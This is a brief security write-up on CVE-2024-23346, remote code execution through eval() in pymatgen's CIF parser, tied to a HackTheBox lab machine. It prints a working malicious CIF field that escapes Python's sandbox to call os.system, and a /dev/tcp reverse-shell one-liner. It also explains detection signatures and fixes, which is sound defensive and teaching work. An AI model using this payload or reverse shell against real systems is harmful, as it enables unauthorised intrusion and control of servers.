RCE in pymatgen via CIF parser (CVE-2024-23346)
pymatgen is a widely used Python library in chemistry and materials science for manipulating and analyzing crystal structures. CVE-2024-23346 is an insecure deserialization in its CIF (Crystallographic Information File) parser: the JonesFaithfulTransformation.from_transformation_str() function processes a string from the file with eval(). Since eval runs arbitrary Python, an attacker who controls the .cif gains code execution the moment the application parses it.
The vector fits perfectly with any service that accepts a .cif upload and processes it server-side (see file upload to RCE). The payload hides in the _space_group_magn.transform_BNS_Pp_abc field, where a string walks Python's class hierarchy up to BuiltinImporter, imports os and calls system():
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__
( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0]
.load_module ("os").system ("COMMAND");0,0,0'Replacing COMMAND with a reverse shell gives access. An important lab detail: if the victim runs BusyBox, the classic bash one-liner doesn't always work; wrap it, e.g. /bin/bash -c 'sh -i >& /dev/tcp/<ip>/<port> 0>&1'.
Why it happens. Calling eval() on user-controlled input is one of the most dangerous practices there is: it turns a data file into code. The vulnerable version here is pymatgen==2024.1.26; later releases fix it by dropping eval.
How to detect it. The on-disk signature is a .cif whose _space_group_magn.transform_BNS_Pp_abc field contains a Python sandbox-escape string (__class__, __mro__, BuiltinImporter, load_module("os"), system(), which no legitimate crystallographic file carries: a grep over uploads gives it away. The confirmation is process lineage: the Python process parsing the CIF spawning sh/bash/nc as a child (auditd/Sysmon for Linux over execve), something analyzing a crystal structure never does, followed by an outbound connection. A .cif upload followed by an anomalous child process is the chain.
Defence. Update pymatgen; don't parse untrusted files with affected versions; in general, never pass user input to eval/exec and isolate parsing in an unprivileged sandbox.
Machines where it's used
- ChemistryHackTheBox